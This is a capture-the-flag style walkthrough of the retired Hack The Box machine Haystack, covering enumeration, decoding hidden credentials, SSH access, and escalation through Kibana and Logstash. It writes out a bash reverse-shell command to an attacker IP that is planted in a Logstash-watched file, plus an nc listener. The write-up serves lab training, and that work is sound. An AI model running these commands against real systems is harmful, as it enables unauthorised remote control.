HTB is an excellent platform that hosts machines belonging to multiple OSes. It also has some other challenges as well. Individuals have to solve the puzzle (simple enumeration plus pentest) in order to log into the platform and download the VPN pack to connect to the machines hosted on the HTB platform.
The walkthrough
Note: Only write-ups of retired HTB machines are allowed. The machine in this article, named Haystack, is retired. Let’s start with this machine.
Download the VPN pack for the individual user and use the guidelines to log into the HTB VPN.
The Haystack machine IP is 10.10.10.115.
We will adopt our usual methodology of performing penetration testing. Let’s start with enumeration in order to gather as much information about the machine as possible.
As usual, let’s start with the Nmap scan to gather more information about the services running on this machine. [CLICK IMAGES TO ENLARGE] «nmap -sC -sV -oA Haystack 10.10.10.115»
As we can see, we have ports 22, 80 and 9200 available. Let’s start enumeration on these.
Beginning with port 80, we can see the web page below, which is apt given the name of the machine. There is also a hint about a certain phrase about where needles can be found.
Let’s jump to the more interesting port, 9200. Below is the output. From the icon, it looks to be an Elasticsearch component, but let’s go deeper.
Enumerating this directory with Gobuster reveals another interesting directory: “quotes”. «gobuster -u http://10.10.10.115:9200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20»
Below is what the quotes directory revealed. Nothing interesting just yet.
At this point, I have gone back to the port 80 image, downloaded it and performed strings on it to see if there is anything interesting. I found a Base64-encoded string. «string needle.jpg»
Decoding it results in something written in the Spanish language.
Translating it reveals the following:
I’m trying to understand what that means. After much thought, I went back to Elasticsearch and thought of searching the word “clave” (translating “key” back to Spanish), as shown below:
It gave me the below output, which had some Spanish and Base64-obfuscated strings again.
Translating them again reveals the following:
Decoding the Base64 string reveals the following:
So we got the user and password. Since we have port 22 opened, let’s try these credentials there. «ssh security@10.10.10.115»
It worked, and I can SSH to the machine with the above credentials!
Grab the user.txt file: «cat user.txt»
Now let’s start to escalate privileges to root. After much enumeration, I found out that there is a Logstash service running as user “kibana,” but my current user is “security,” so it looks like I have to escalate to kibana. «cd /etc/logstash» «ls -l»
It looks as if the Logstash service is running locally. So tunneling it is: «ss -lnt» «ssh -L 5601:127.0.0.1:5601 security@10.10.10.115»
After implementing tunneling, the Logstash service was accessible over localhost, as can be seen below:
Enumerating the application reveals the version to be 6.4.2, which is vulnerable. We found a POC exploit for it as well.
We modify the POC to talk back to the attacking machine.
We download it on the victim machine locally.
And then we execute it to receive the shell back as user “kibana.”
We upgrade the shell. «python -c “import pty;pty.spawn(‘/bin/bash’)”»
Now since we are with kibana, let’s go back to the files under user “root.”
It looks like there are three files:
Output.conf is executing the command
Input.conf is picking up the file from a location.
Filter.conf is whitelisting the command format.
So the plan is to create a reverse shell under the specified location (in input.conf) and to make sure the command had the prefix of “Ejecutar commando” to it.
Let’s echo the reverse shell to a new file under the location, as shown below: «echo ‘Ejecutar comando: bash -i >& /dev/tcp/10.10.14.2/4422 0>&1’ > /opt/kibana/logstash_shell.txt»
Let’s open a port to listen for the reverse shell. After few minutes, we got the shell back with user root. «nc -nlvp 4422»
We enumerate to grab root.txt. «cat root.txt»
This is one of the most interesting boxes out there on HTB as it involves a lot of enumeration, thinking and hit/miss scenarios. We will continue this series with more such HTB machines.